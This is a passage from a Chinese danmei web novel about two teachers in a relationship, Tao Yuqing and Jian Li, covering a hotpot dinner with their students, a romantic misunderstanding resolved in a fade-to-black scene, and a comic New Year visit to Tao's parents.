赵遇京这才反应过来，原来之前简璃让他们带孩子，约会对象就是陶老师啊。 “天凉了！我们吃火锅吧！”邓留萤说。 吴尽夏：“我都行呀。” 宁雨：“嗯。” 赵遇京拍案：“那就这么愉快的决定——！” 喂喂喂。 没有人打算问问他简璃本人的意见吗？ 简璃冷哼了一声，只觉这帮孩子越来越不把他当老师了。 扭头对上陶与晴的脸，因为刚才那一出，尴尬的咳嗽了一声，说：“咳，你想吃什么？” “听他们的吧，”陶与晴笑笑，“没事儿，我们俩一起请客。” 邓留萤捕捉到了关键词，心想这不是喜酒是什么！ 豹豹猫猫结婚啦！ 邓留萤：“好耶！” 他们这身行头吃火锅不太方便，所以都跟着简璃去后台换了衣服。 陶与晴一边拿卸妆巾给宁雨擦脸，一边说：“你们这个年纪，要是带美瞳什么的不舒服，就不要硬带知道吗，还有化妆品，老师不反对你们化妆，但是尤其是女孩子一定要买好一点的……” 吴尽夏在一旁排队等陶与晴卸妆：“知道了陶老师。” 赵遇京：“我们难得出来玩一下嘛，明年高三可就没这时间了，哎。” “……”姜一安：“明年，就高三了啊。” 在场的人都愣了愣。 悄然之间，时间过去了一半了。 简璃隔了一会说：“还早呢，而且你们国庆的作业写完了没？要不要我现在检查一下。” “！” 邓留萤：“啊啊饿了饿了简老师我们快些去吃饭吧。” 陶与晴轻声一笑，觉得简璃转移话题的方式也太魔鬼了。 上次火锅店，陶与晴和简璃偶遇过他们。 这次也选了和上次一样的店。 不同的是，邓留萤举起手机，前置摄像头把所有人都框进去，说：“我们一起合张影吧！” 照片里，邓留萤在最右侧伸手举着手机，姜一安和赵遇京在抢一块肉，吴尽夏在往清汤里下牛肉丸，陶与晴在看镜头，简璃在看陶与晴，宁雨望着咕嘟咕嘟的汤面发呆。 “简老师，”赵遇京最终没抢到那块肉，转手去捞了一颗牛肉丸，说：“您平时喜欢做啥啊。” 陶与晴惊讶，原来他还没忘记主线啊。 “问这个做什么，”简璃看了赵遇京一眼，觉得这个小子打的不是什么好主意，“你还没服气？想挑战我。” “我哪有，我怎么可能是那种人，”赵遇京不自然的说：“我就是问问，了解了解老师的喜好而已，我还问了陶老师呢对吧陶老师。” 陶与晴看见赵遇京对自己眨眨眼，点点头：“嗯。” 简璃把火锅里的鱼块捞出来，一边挑刺一边说：“没什么爱好，非要说的比较喜欢给你们上课。” 他把那块鱼挑好了，夹到陶与晴碗里。 “……”赵遇京败下阵来，而且据他这几天的观察，简璃确实除了陶老师以外，没什么喜欢的东西。 倒不如说他是个coser这件事比他和陶与晴在一起这件事都震惊众人。 但是简璃显然比陶与晴还佛啊，他提过的几个番赵遇京甚至都没看过。 邓留萤看赵遇京都没招，低头在群里发消息。 【你的萤】：干脆我们让陶老师把自己送给简老师吧。 【你的萤】：打包戴上红丝带，让简老师拆蝴蝶结，太好了我真是天才呀。 陶与晴一低头就看见这么一条，直接就被呛到了。 简璃担忧的看他一眼，帮他拍拍背，递给他一杯温水。 好端端的，怎么忽然呛到了。 邓留萤等了半天没见人回复，定睛一看才发现自己发错群了。 这句话他是想发他们的小群的啊啊啊。 已经无法撤回了！ 完啦！ 怪不得刚才吴尽夏和宁雨看了一眼手机以一种复杂的眼神看着她。 于是一整顿饭，邓留萤都没脸说话。 她根本不敢直视陶与晴的眼睛了，罪过罪过。 陶老师千万千万不要以为她是什么奇怪的学生啊。 陶与晴因为邓留萤那两句发言，已经回不去了。 他居然真的认真思考起了这句话的可行性。 一旦接受了某种设定……！ 好好的小姑娘平时到底都看些什么！ 晚上回到同一个家，陶与晴在阳台散散火锅味，顺便发发呆，想着还是不知道要送简璃什么，眼看没两个月就跨年了。 简璃端来一杯热牛奶给他暖胃。 “谢谢……”陶与晴接过，思绪被打断下意识道了声谢。 简璃不满了：“和我还这么客气？” “我没反应过来嘛。”陶与晴捧着热牛奶，笑笑说。 然后简璃从背后环住他的腰身，把头埋在陶与晴的肩膀上，借着这个劲儿撒了个娇似的。 陶与晴抛开其他想法，一手端着杯子，一手揉了揉简璃的头发。 十月份晚上吹着点凉风，但是两个人靠在一起严丝合缝，温度刚刚好。 “我发现，你现在特别能撩我，”简璃瓮声道：“漫展上也是。” “我就夸夸你，谁知道你这么不禁夸，”陶与晴自己想起来也有点害羞了，喝了一口热牛奶，说：“谁让你平时老逗我的。” “再喊一声行不行。” 陶与晴：“得寸进尺吧你。” “想听。” 陶与晴转身在他脸侧狠狠亲了一口：“老公，行了吧？那你也叫一声。” 简璃心情很好：“想听什么。” 陶与晴微微拉开一点两个人的距离：“那你自己想想我想听什么呢。” 简璃端着嗓子：“夫君，快去就寝吧，妾给夫君暖好被窝了。” “哈哈哈哈哈……哪有你这种妃子啊，你比皇上都壮好不好。” “夫君怎么这样，妾心里好是悲凄啊。” 陶与晴抬手去揉简璃的脸，憋着笑说：“真是越来越不着调了。” “看见你就无师自通了。” 阳台开始吹风了，简璃伸手挡了挡，拉着陶与晴走进屋里。 “其实你不用送我什么，”简璃关好窗户说：“你陪我走过的那些日子，都是最好的礼物。” “……你看出来啦，”陶与晴端着杯子站在一旁，说：“是学生们想帮我问，他们也没恶意。” “这段时间那群小孩子太明显了，”简璃转身蹭蹭他的侧脸，“很难看不出来。” “但是我不知道该送你什么呢，又总觉得上价值上情怀的东西有些敷衍，可是贵重的东西，又太俗了。” 总不能真把自己送他吧……？ “你已经送了我很多东西了。” 陶与晴可不记得这回事：“比如呢？” 简璃没戴眼镜，目光淡淡、却是好看极了的眼睛看着陶与晴，声音平缓：“比如——阳光、晴朗的夏天、时间、还有爱情……” 陶与晴没什么想说的，抬头在他唇上印上一个吻，轻轻松开。 ……想把自己送给他了。 陶与晴望进他的眼睛：“这些东西也是你给我的。” “都不如你。” 两个人屋里，再次交换了一个清浅的吻，彼此的手缠上了肩膀和腰，那杯牛奶放在桌子上慢慢凉了。 情动却点到即止，简璃率先松开陶与晴额头抵住额头，一只手还扶着他的腰，但是隔着衣服不安分的乱摸。 陶与晴的脸热热的，搂住他脖子的手收缩了一下。 他眼神泛起波澜，有个小火苗在心里张牙舞爪，最后还是只抿了抿嘴，脱口而出：“……不要……” “……那快去休息了。”简璃迅速松开他。 “……？” 陶与晴整个人是懵的，而且简璃停手以后更懵了。 哎？ 他刚才其实只是……不知道要说什么。 对方就这么老实的收手了？ 喂！ 陶与晴那晚没怎么睡着，做了一晚上春梦，羞得不行，早上起来直接咬到了舌头。 搞得他都不敢和简璃亲亲，因为疼。 假期结束后舌头才好。 为什么剧情是这样子发展的啊！陶与晴很懊恼。 班上大部分人都猜出来他俩在一起了，不如说老早就已经觉得他俩在一起了。 毕竟他们俩之前不就挺如胶似漆的吗，谁知道到底谈了多久了。 而且有陶老师在，简老师心情好了就少骂他们，何乐不为呢。 对于这段感情必然是摇旗呐喊加油助威啊。 这两位帅哥的流言四下飞传，很快就传成了简璃是为了追爱才来的这所学校之类的，还有什么离玉和扶光其实结婚了七年了。 逐渐没边了。 事实非也，而且陶与晴甚至发现，简璃对他的贴贴变少了。 亲亲也变少了，那种会被晋江屏蔽的亲亲更是趋近于没有。 陶与晴直觉不能这样下去。 某天晚上，陶与晴主动凑上去，骑上简璃的大腿，亲了两口简璃，他感觉到简璃浑身一僵，结果他被简璃拦腰给抱开了。 “洗澡。” “……？” 简璃洗完澡就回房间了！ 搞得这下陶与晴想做点什么，都做不了了。 这个亲亲狂魔和吃豆腐狂魔怎么忽然变了？ 陶与晴想不通。 怎么回事！ 明明他都做好心准备了！ 他们不是应该顺成章的……做些晋江不准写的事情吗。 徐老师某天在办公室里，点醒了陶与晴。 “我新谈的那个男朋友，还没一个月就倦怠期了，现在感觉他有点冷淡……” 倦怠期。 倦怠…… 倦怠期？！ 陶与晴心中警铃大响。 还是说……自己对他没有吸引力了？ 十一月份下旬，祁城的气温骤降，向思远从工作中抽身破天荒的主动约了陶与晴吃饭，正好陶与晴也想和他说这件事。 简璃晚上还有课，所以就不来了，但是他用围巾把陶与晴过的严实，却也只亲亲他的鼻尖说：“别着凉了，如果太晚了我来接你。” “……知道啦，”陶与晴点头拍拍他的肩膀，说：“快回去上课吧。” 校门口的保安大哥眼睛都看了好久。 这就是现在年轻姑娘爱看这些原因吗？你别说。 不远处车里的向思远也把一切看在眼里，陶与晴走过来之后调侃他：“这么甜啊，你俩。” 陶与晴反驳，透露着一点不满：“我们又没做什么……还没做什么呢。” “不是吧，真的假的，”向思远听出他的话里话，扭头看他：“你俩谈了快半年了。” “……什么。” “做该做的啊，”向思远说：“你这个态度这么不积极，还怎么做1。” 向思远甚至去恶补了一些bl小说，总结出来的经验就是——先发制人外加不要脸。 而且他还去找了玉光逆家的粮，但是不知道为什么，明明其他圈子混邪的同人女这么多，但是玉光这个圈子，逆家只能在夹缝的夹缝中生存，就这样都还有好几篇文是柏拉图，也没黄文啊。 向思远不服，凭什么都认为他的发小不攻。 虽然事实好像是这样的，但是也不能这么瞧不起人吧！向思远痛心疾首。 这是真的冤枉陶与晴了。 他明明就很积极，不能再积极了。 为什么不积极的人反而变了啊喂！ “我也想啊，但是……” 向思远看他支支吾吾的样子，最终摇摇头，觉得自己还是早日回归正道吧，别搞什么邪教，开车说：“哎，算了，那我还是把你要穿女仆装的录音给简璃听吧。” “你真的录了——！不要啊——” 其实陶与晴自己也不记得自己说了什么了，就记得个女仆装的flag，毕竟这都多久了，而且他当时随口说的。 老地方，陶与晴点好了菜，说：“这顿我请，我想来问问你，关于情侣之间那种事情的。” 他想问问情侣之间的倦怠期该怎么办。 向思远站起来，用手背贴了贴陶与晴的额头。 “你没事吧，我单身二十多年你问我这个？” “但是你是男人啊，我不也第一次谈，”陶与晴认真的说：“而且除了你，我不好意思和别人说这个。” 因为对方贴贴的兴致很低而胡思乱想什么的，说出来都有点丢人…… 向思远仔细一想：“……也有道，那你说来听听。” “就是最近感觉……简璃好像对我进入了倦怠期。” “哦，”向思远面无表情站起来：“得到了就不珍惜是吧，我……” “坐下坐下这位秀儿，法治社会！” 陶与晴接着说：“最近我主动接近他，他也无动于衷，甚至转移话题，我就在想……他是不是对我没有、兴趣了啊？” “你说的是兴趣，还是性趣。” “……都、都包括吧，”陶与晴说：“其实也是一点小事而已，除了我们肢体接触少了点，其他的都很正常，但之前他都很喜欢和我接触的，最近忽然跟着天气一起降温了似的。” 向思远：“那这件事可太严重了。” “啊？很严重吗？” “太严重了。” 向思远觉得这简直叹为观止。 他发小是长得有问题吗。 没问题，清秀俊朗。 简璃上辈子是个王八吧？这么能鳖？ 他都接受陶与晴是0了，要求个活好的不过分吧，找个帅哥只能看不能吃这不憋屈吗？ “如果他对你真的没性趣，”向思远说：“那你发誓你和他分手。” “你必须得试试他，”向思远又说：“作为一个生正常的成年男人，这关乎你下半生的幸福。” 陶与晴弱弱道：“也、没有那么严重吧，而且不行就分手什么的……” “你发誓，他要是不行，你会分！” “我、我……” “你立字据！” “……立。” “立字据！” “立！” 陶与晴不知道这件事原来这么的严重吗，其实他只是来问问的。 吃完了饭，陶与晴没敢喝太多酒，只是小酌了两口，接着和向思远聊到别的事情。 “你真的录了，我当时说了什么来着……” “你说他要是离玉你就穿……” “打住打住，这个我记得，我是不记得我具体说了什么，”陶与晴回忆里一下，打个了寒战：“人真的无法共情曾经的自己啊。” 向思远耸耸肩，拿出手机点开收藏夹，拿远了点。 【代餐罢了，他要是离玉本人，我穿着女仆装跳钢管舞。】 【已录音，莫辜负。】 【怕他不成，我想到离玉要是简璃，我就浑身难受……我老公一定不能是这种人。】 “啊原来我说的是这个啊，”陶与晴尴尬的笑了笑，“哈哈……” 这绝对绝对不能被简璃给听见。 他家简老师会暴怒的。 所以陶与晴打算让向思远销毁罪证。 向思远抬头，看见个什么，眨了眨眼。 向思远：“……哇哦。” 陶与晴：“……？” 陶与晴看见一只手伸过来，握住了自己的手腕。 那只手，那个腕表，那个衣袖。？？？ 鬼！ “那麻烦扶光老师回家好好告诉我，你老公得是什么样的人？” 简璃本来是在盯晚自习的，但是英语老师忽然过来，说要赶进度讲一下卷子，简璃就把后一节课让他了。 于是他看了看时间，觉得应该去接自家陶先生回家的。 老地方。 巧了不是。 简璃拉着陶与晴就走了，向思远坐在原地反应过来以后，和不远处的老板娘面面相觑，最终说：“请客……你俩……没一个付钱的啊？” 向思远不放心，给陶与晴发了条消息过去。 【向思远】：他？ 【陶与晴】：没事了……谢谢啊老向。 …… 当他没问过，狗情侣，真服。 所以原来，刺激点要在这儿？ 简璃不是不行啊。 ……他是不是也该找个对象了，怎么逐渐看不懂情侣了。 陶与晴在简璃的副驾驶握紧了安全带，刚被摁在车里亲了几口，嘴唇红红的。 “……那个，我之前……” “回家慢慢说。” “哦……” 陶与晴也是老实上了。 一到家，陶与晴外套还没脱下来了呢，就被简璃摁在墙上亲。 好不容易松开想喘气，舌尖又被含住了。 “唔嗯……哈……” 屋子里比外面缓和很多，这么一遭陶与晴有点出汗了。 简璃终于松开陶与晴似笑非笑：“什么叫代餐，哪种人？嗯？离玉和简璃哪个好看？” “我……” “还有，女仆装什么时候穿给我看？” 陶与晴思绪一阵乱码。 虽然简璃很幼稚，但是这怎么解释，简直铁证如山。 简璃怎么提前下班了？ 不对不对，自己又不是出去偷情的！这么心虚干什么？ “我当时……不对！”陶与晴冷静下来，找到了论点，喘匀了气，说：“你就没有想过我为什么要这样说吗？” 简璃一愣：“……” “是因为你当时凶死了。 简璃气势减半：”……我很凶吗？我明明没有。” “有，你凶巴巴的，你还说我。” “……我说你了？” 死去的记忆活过来了，陶与晴点点头，直视他：“你让我对同事说话，还是想顺了再说——我和你说话需要想顺了再开口吗？” 简璃也不知道这回旋镖是怎么绕了一圈打回他身上的。 可是他是陶与晴唉，喘气的样子好可爱。 简璃看着他就没脾气：“也是……没那么需要。” 陶与晴扬了扬头：“我的教育念，你有什么意见吗？” 而且陶与晴耀武扬威的样子只对他简璃，怎么不算一种偏爱。 他们家陶先生就是连生气都很像小兔子。 可爱。 简璃摇摇头：“没意见，我觉得很好。” 陶与晴继续瞪他：“那你之前算怎么回事。” 简璃笑的溺爱：“算我眼神不好。” “……认错态度这么良好？好吧原谅你了。”陶与晴抿嘴，咂摸了一下。 然后他兔兔祟祟的从包围圈里绕出来想跑。 “不对啊，陶老师，”简璃意识到自己被带跑偏了，一把把他拉回来，“我们难道不是在谈女仆装的问题吗？” 第62章 “有……有吗？”陶与晴没蒙过去，不敢看他，“我怎么不记得……” “所以说，”简璃握住他的腰，“你是不是很不喜欢我。” “我没有，那都是气话……”陶与晴替自己辩解，说着说着，刚想问他为什么这段时间是怎么回事。 谁知简璃抬高了点音量：“那为什么不愿意亲我。” “我……！啊？”陶与晴有一种被反客为主的感觉，说：“不是你不愿意吗？” 难道不是简璃一直在躲他吗。 “是因为你怕我，”简璃微微眯眼，凑近陶与晴：“你说你不要，而且为什么之前亲你你就躲。” “我哪有——” 等等。 上个月自己咬到舌头了。 那几天确实，一亲就躲，由于原因太过丢人他就没好意思说。 做个春梦紧张到咬舌头。 陶与晴还想要点脸。 可是那是因为咬到舌头了啊，就因为这么个由？ 陶与晴悟了：“那你这段时间一靠近就跑是因为……” 简璃委屈极了，“我是个成年男性，陶老师、你这样钓鱼执法，还只给我看……我当然要自己冷静冷静了。” 陶与晴忽然有些愧疚。 “我不是那个……哎呀，我给你解释一下。” …… “所以……我没有怕你，我就是……”有点不好意思而已。 “……所以，你之前是不小心咬到了舌头？” 简璃有些哭笑不得，觉得两个人这段时间好像是闹了个大笑话。 “……对啊，”陶与晴脸都红透了，低着头说：“我还奇怪你干什么呢，我都、我都这样了……你居然每次都逃跑。” “……”简璃想到陶与晴之前的种种行为，忽然明白了什么，CPU紧急过了一串代码，差点冒烟。 最后简璃决定把芯片罢了，丢掉智。 “那这次谁也不准跑了。” 他吻上去，感觉到陶与晴双手搂上自己的脖子，亲了一会伸手把他单手抱起，往卧室里走。 “等下。”简璃突然从床上起身。 “？”陶与晴气还没喘匀呢，衣服稀稀拉拉被扒了一半。 等什么等什么，难不成简老师又要压枪不成。 再来这么一遭陶与晴顶不住了，能不能给个痛快。 “为人师表，既然说都说了，那就要做到，”简璃笑了笑，说：“先换衣服吧，陶老师。” “……啊？” —— 简璃几年前出过一个女仆杀手的同人企划。 但是这件衣服在简璃身上，杀气十足，拿着枪械武器A的很。 陶与晴当时还保存了下来，用小号在评论区大肆赞扬，其他粉丝也都是清一色叫老公的，帅字能刷半边天。 为什么…… 陶与晴揪着裙子边缘坐在床上，浑身上下哪都红，臊的慌。 为什么、在自己身上、完全不一样！ 而且这个同人企划不是杀手主题吗！杀手和女仆装有什么必然联系啊喂！ 简璃伸手勾住他的腿环，把人轻轻拽过来。 “听说你是上面派来刺杀我的？”简璃勾起嘴角，说：“你的武器呢，藏在哪儿了。” 简璃随地大小演，陶与晴反应了一下，不甘示弱。 ……谁说他不能A了。 他抬手揪着简璃的衣领把他姿态放低，和他对视。 陶与晴脸上的绯红还没消下去，眼神微微一瞪：“你想从我身上找找吗？” “那先从这里找找。” “唔……” 他们唇齿痴缠在一起，陶与晴的舌尖不想任人摆布，朝着简璃推回去。 简璃的声音压在两个人喘息之间：“很有骨气。” “要么做服我，”陶与晴咬了咬他的唇，伸手点点他的头：“要么一枪毙了你。” “为了保住我的小命，”简璃低低一笑：“只能恭敬不如从命了。” …… 陶与晴第二天醒过来，床上的狼藉已经被收拾干净了，昨天晚上他睡过去以后啥都不知道，看起来都是简璃收拾的。 而且自己身上衣服也换了一套干净的。 他感觉脖子处有风灌进来，迷迷糊糊的搂住简璃在他怀里拱了拱，轻嘶了一声，感到一只手伸下去给自己揉腰。 ……混蛋，到底憋了多久啊，他差点没死在床上。 唔……腰好酸…… 今天上课简璃心情好的异常。 “简老师，我昨天写作业漏看了一道题……” “没事，”简璃只是笑着说：“补上就好。” 台下的同学一个比一个震惊。 你是谁啊！ 上课的时候，有同学睡觉，被简璃点起来。 “……啊简老师我昨天写作业有点晚，不好意思打瞌睡了。” “没关系，”简璃手里转着一根粉笔，语气没有丝毫生气：“去洗把脸，然后坐下吧。” 你到底是谁啊！ 简璃甚至给向思远包了一个大红包，对方表示那就不客气的收下了。 向思远觉得这是自己应得的。 下课准点走了以后，教室里寂静了几秒钟，忽然嘈杂的窃窃私语起来。 “他被夺舍了？！” “不对劲不对劲，事出反常必有妖……该不会是我们上次月考考差了？” “可是我们不是考的不错吗，陶老师还表扬我们了啊。” “谁知道啊，也太吓人了吧，我宁愿简老师骂我两句。” “我也是，你刚才看见他那个笑了没有，那就是传说中的皮笑肉不笑吧？太吓人了太吓人了。” “他笑的我害怕，求求了，到底谁惹到他了啊。” ˙重点怀疑对象赵遇京和邓留萤对视一眼。 表示不是他俩啊。 他俩这段时间认真听话什么都没干啊。 邓留萤都不敢当着简璃的面提离玉了，谁还敢做离玉的狗啊，她现在只想偷摸嗑嗑cp她有什么错呢。 同学们百思不解，倒是晚点时候陶与晴的课，陶老师的脸色很不好。 而且全程站着，时不时还扶一下腰，他似乎是想到什么愤怒的事情，心情很不好，搞得大家都不敢说话了。 其实陶与晴并没有心情很不好。 他只是腰酸，加上某些地方…… 简璃这个…… 王八炖汤——鳖一肚子坏水。 ……也算他主动招惹，算了算了，不跟他计较了。 算他有点良心，还知道下课了过来扶自己一把。 简璃扶着陶与晴，语气出奇的温柔：“都说今天的课我来了，怎么还坚持要过来。” “不要，”陶与晴说：“敬业爱岗。” 作为一名优秀教师，他可是一天都没有缺席过的。 这点小事，怎么能阻挡他给孩子们上课的心。 嘶……就是腰疼。 陶与晴想到昨天晚上，还是有点臊。 干嘛和简璃演奇怪的play……不然说不定他不会这么严重。 回到办公室，简璃给陶与晴倒上热水，“那一会回去好好休息，马上元旦了，你要回去吗？” “回，”陶与晴在办公室坐下，抬头看他：“这次你不用把我送到就走了吧？” 简璃伸手摸摸他的头，思考了一下，笑了：“嗯，给老师师娘问好去。” 简璃之前去过一次，其余都是送到楼下就走了。 每次他都绕这么大一圈送自己，陶与晴之前还挺过意不去的。 想来他们在一起这个事情还没通报给上级，刚好趁这个机会带着简璃见见光。 两个人打那以后做什么都自然亲密多了，有时候无意识的秀恩爱，虽然没有什么过分的接触，但是这种甜滋滋的老夫老妻，看的隔壁徐老师默默咬手绢。 她那个木头男朋友啊，她也想要这种甜甜的恋爱。 徐老师只好抱着教科书叹气。 “徐老师，”高老师可是个老妻奴了，说：“你得多沟通沟通啊，小伙子可能反应比较迟钝。” 陶与晴意识到什么，感觉是最近工作太轻松太松懈了，但是他不是有意和简璃撒狗粮的，说：“不好意思啊徐老师，我们一定多注意。” “没有没有，”徐老师摇摇头，说：“不是你们的错，我觉得你们挺好的……就是，我男朋友他——他太直男了，哎，要是他也能和陶老师你学学就好了。” 简璃扭头：“……” “不、我不是那个意思啊简老师。” 简璃寻思刚才自己哪有这么吓人，只是回头看看而已，出口找补：“是上次你说追你那个吗？” “嗯嗯，是他，他追了我挺久，不过……也不是说他变了，其实他追我的时候就有点傻傻的，但是他很坚持，我还挺喜欢这种人的，”徐老师用笔在空白纸上画圈圈，说：“就是有时候，也想浪漫一点嘛。” 陶与晴笑了笑，说：“徐老师，浪漫也可以你制造的，大胆点直接告诉他。” “我？”徐老师比较不好意思，说：“可是我也没什么头绪……万一他不喜欢怎么办。” 高老师老成说：“小徐啊，喜欢你的人，你做什么都喜欢，你不也挺喜欢他的傻气嘛。” 徐老师腼腆：“话是这样说……” 简璃：“高老师这么懂？” “嘿，想到年我追我媳妇的时候，那可是浪漫的不得了，你还别不信，我给你们说……” 高老师又开始说他年轻时候的英雄事迹了。 办公室剩下几个人给了简璃一个“你问他干嘛”的眼神。 简璃：“……” 还是批改作业吧。 元旦前一天陶与晴挺紧张，虽然说自己父母之前就见过简璃了，老爸还挺喜欢简璃的，两个人又是师生关系知遇之恩。 但毕竟身份不太一样了…… 本来陶与晴的确紧张。 直到看见简璃比他更紧张，突然就不紧张了。 “你也不用买这么多东西吧，”陶与晴看着客厅大包小包的，有些怀疑自家简先生掏空了超市，说：“你这是往我家进货呢。” 还有，为什么还买了一棵那么大的发财树啊？ 简璃长长叹了口气：“我怕他们不喜欢我。” “上次不是见过吗，我爸是你老师啊。” 简璃：“更害怕了。” “呃。” 多年以后学生拐走了自己儿子什么的。 好像确实是有点尴尬。 “没事儿，”陶与晴拍拍他，安慰道：“我妈喜欢你，我爸肯定不会为难的你。” 最终也没把东西都带去，尤其是那棵树，陶与晴果断让简璃拿去退掉了，谁会送棵发财树当伴手礼。 车停在楼下，简璃还有点不敢下去，握紧陶与晴的手。 陶与晴调侃他：“别紧张，我妈已经知道我带对象回家了，可不能临阵脱逃啊。” “那肯定不会的，”简璃仰头，说：“就是得酝酿一下。” 下车没走几步，边雅丹就在小区门口等着了，她朝着陶与晴挥挥手，喜笑颜开。 “儿子！快来快来，”边雅丹看见了陶与晴身后的简璃，道：“哎，你不是说你要带对象回家吗，又是人家简老师送你的呀？” “妈，”陶与晴走过去，说：“给您介绍一下，这是我对象，简璃。” “师娘，”简璃戴着眼镜，乖巧的点点头：“跨年好。” “……”边雅丹后退了一步，随即赶紧说：“好好好！跨年好跨年好！快快快……快进屋快进屋！准备给你们做一桌子的菜，快快快！” 陶与晴：“妈，您别紧张。” “我、我不紧张，我不紧张哈哈……快快快！” 屋子里的陶炀知道简璃是陶与晴对象之后，毛笔一掉，也不知是喜是忧。 他重重的拍了拍简璃的肩膀。 “好小子，好小子！” 简璃不敢动，尴尬的喊人：“老师……” 简璃被治住，服服帖帖的。 姓陶的，他都惹不起一点。 边雅丹拉着陶与晴走到一边，说：“哎，你真的和简老师在一起了？怎么不早说啊。” “那不是还没在一起多久，想着正式带他来见你们嘛。” “多久了？” “大半年吧。” “这还不久！这种好事怎么不早说啊，”边雅丹说：“哎呦，我这心脏，总算是安下了……你上次带人家回来我就觉得你俩不对劲，你看看，母亲的眼光永远都准。” “是是是，您准您准。” “我儿子，哎呦，找这么大一帅哥，哈哈哈……真好真好。” “妈，”陶与晴看着满脸得意的边雅丹，说：“我算是知道我的花痴随了谁了。” “胡说八道，指定是随的你爸，”边雅丹使唤他：“过来，帮我摘菜。” 书房里，陶炀递给简璃一个本子。 “……” 他要求简璃写一千二百字的说明文，阐释他凭什么拐走自己儿子。 也是以奇怪的方式回到学生时代了。 陶与晴给过来给书房的两个人送茶水，本来以为他们会和其他的家长见儿婿女婿一样，聊聊人生，说说规划什么的。 谁知道进去简璃在埋头写作文。 陶与晴：“？” 这一幕真是有点诡异了。 “爸！”陶与晴把茶水放下：“您干嘛呢！” “我检查检查他水平有没有退步，去去去，你帮你妈去。”？？ 午饭之前，简璃写好了作文，交给了陶炀，后者皱着眉头翻了翻，点点头，说：“还可以，就是有几处写的太主观了，不太好。” “是，请老师指点。” “你看看比如这里……” 陶与晴在书房门口，有一万个嘈想吐。 不是，你们教语文的都什么精神状态啊。 还好他没教语文。 吃过饭，陶与晴是不想简璃和自家老爸待在一起了，谁知道他们会不会再做一套阅读解。 “我带你出去逛逛吧，”陶与晴拉着简璃，说：“附近有条小吃街。” 边雅丹也点点头，说：“对对对，带简老师去外面转转。” 陶炀此时起身：“那我也陪你们两个出去转转吧。” 边雅丹拍了一下他：“老头子，人家年轻人出去，你凑什么热闹。” “一个我学生，一个我儿子，我怎么不能跟着了。” “坐下坐下，”边雅丹把人摁回去，对简璃和陶与晴说：“没事儿，你俩玩，别他。” 陶与晴在门口说：“谢谢妈，我们先走了。” 出来以后两个人非常同步的松了口气。 “不好意思啊，”陶与晴看了看他：“我爸平时也没这样的，可能是知道我们在一起他一时间……” “没事，老师还是老样子，”简璃说：“上学的时候他就爱出题考我。” “……也是。”陶与晴回忆了一下自己父亲之前，好像的确。 就是没想到他考验儿婿也是出题制的啊。 “怎么忘了戴手套，”简璃捏捏他的手，说：“天凉了。” “……忘记了。”和简璃在一起就容易忘事儿。 最近被他养的有点好，嘴还没张就倒水，手还没伸就递笔。 “下次注意，你的手才好点，没一阵子呢。” 陶与晴拉着他，说：“知道了知道了，走吧，我带你在我家附近逛逛。” 简璃点点头，手指伸进他的指缝和他十指相扣，然后牵进自己的大衣口袋里：“好。” 然而他们后面，一位不死心的老父亲兼老教师，悄然的下楼跟上了。 走路没声音的那种。 陶炀摸了摸自己的下巴，哼了一声。 他要看看他的学生和儿子谈恋爱的时候都干些什么。 要是他俩学些猫三狗四的，什么抽烟喝酒，他一定要—— 陶老教师默默跟在后面，看见他俩进了小吃街。 没有买乱七八糟的零食，就买了一个糖画。 “可惜啊，”陶与晴接过一只蝴蝶糖画：“差一点点就转到凤凰了。” 简璃喂给陶与晴：“尝尝。” “唔，好甜，有点太甜了。” 简璃笑了，重新牵起他的手：“这种糖是这样的，小时候我也觉得甜。” …… 看起来很正常。 陶老教师欣慰的点点头。 他儿子和学生谈恋爱，也没学坏。 好好好。 好啊好啊…… “啊不好意思……” 这里人来人往的，因为元旦节聚集了各种年轻人。 有一个人没看见蹲守在拐角处的陶炀，不小心撞了个正着。 “小伙子，看路啊，”陶炀用一种老练的口味教育道：“怎么能在大街上追逐打闹呢，多危险。” “是是是……？啊？陶、陶老师？” 陶炀仔细一看。 这不是自己前几年的学生吗？算算年纪，应该是大学生了吧。 “路……路然雪！好啊是你小子，”陶炀指着他，还记得他的名字，说：“还是和之前一样，毛毛躁躁的。” “陶老师，您怎么在这儿啊，”被叫出名字的小伙子不好意思的挠挠头，说：“这大过节的……您一个人啊？” “哦，”陶炀仰头示意：“我来看看我儿子和他对象，前面那个，那两个高个子，他对象还是我学生呢，你师哥，看见没。” 对方朝那边看过去，眼睛都瞪直了。 “您、您说，前面那个穿黑色长风衣戴眼镜和卡其色短外套的那两个人？” “是啊，你这孩子怎么了这是。” “我靠……” 他似乎意识到什么硬生生把一句粗口憋了回去。 “……哪个是您儿子啊老师？” “衣服短一点那个。” “……” 我靠。 我去。 扶光是他老师的儿子？！ 离玉是他老师儿子的对象？？ 他是离玉老师的师弟？那离玉是扶光老师的……那他又算是离玉老师的……等一下这道题他怎么不会算。 飞雪CPU安静的烧了一会。 “那您这是……”他才发现他老师怎么偷感怪重的，问：“但是您为啥躲在这儿啊。” 害的他根本都没看见，本来还想走过去和扶光离玉打招呼的，现在也不干了。 已经幻视一些教室后门了。 “我不得悄悄的观察才知道他们两个学没学坏，你们这些小年轻，别以为我不知道，一谈恋爱啊就玩心大了，课也不上作业也不做。” “……” 飞雪很想提醒一下他。 您儿子和学生他们已经成年了，并且有工作了。 不至于吧，老先生。 “……我觉得这一点您应该能大胆放心。” 飞雪眼下刚好没什么事，就和陶炀一起偷感十足的跟踪简璃和陶与晴。 他也不想的，但是他觉得放老师一个人在这儿，也不是个办法。 这都五十几的人了，怎么出来玩碟中谍那一套啊。 顺便…… “冷静老师，这就是个街头小游戏，离……您学生拿的不是真枪！……哇打中了哎，二等奖。” “哎，那不是抽烟，您仔细看，那是冬天的雾气，他和您学生闹着玩呢。” 他还得替离玉和扶光解释解释，真是太够意思了。 远处的陶与晴和简璃不约而同的超后面看了一眼。 “……老师还没走呢。” “不知道……”陶与晴悄悄说：“但是感觉他身边多了个聒噪的人，不知道是不是在和他说话，我不敢往后看啊。” “我也是。” 其实他俩半道就发现了。 但是一直配合着老先生没拆穿。 飞雪陪着陶炀鬼鬼祟祟跟了一路，总算快走完了一条街。 飞雪感觉自己大冬天的都出汗了，说：“您这下放心了吧，咱大冬天的，回去吧。” “……哎，前面有个对诗词的摊位，”陶炀刚想着要不然还是走了好了，结果看见陶与晴和简璃走到一个摊位前，好像打算参与参与，说：“正好啊，你过去，两个学生比比看。” “啊？”飞雪指了指自己：“我？” 对离玉？ 第63章 “我……”飞雪笑的坦荡：“哈哈哈！您开玩笑的呢吧，我？哈哈哈……” …… “离……啊不，”飞雪从后面拍了拍简璃：“简师兄，我和您比一场怎么样。” 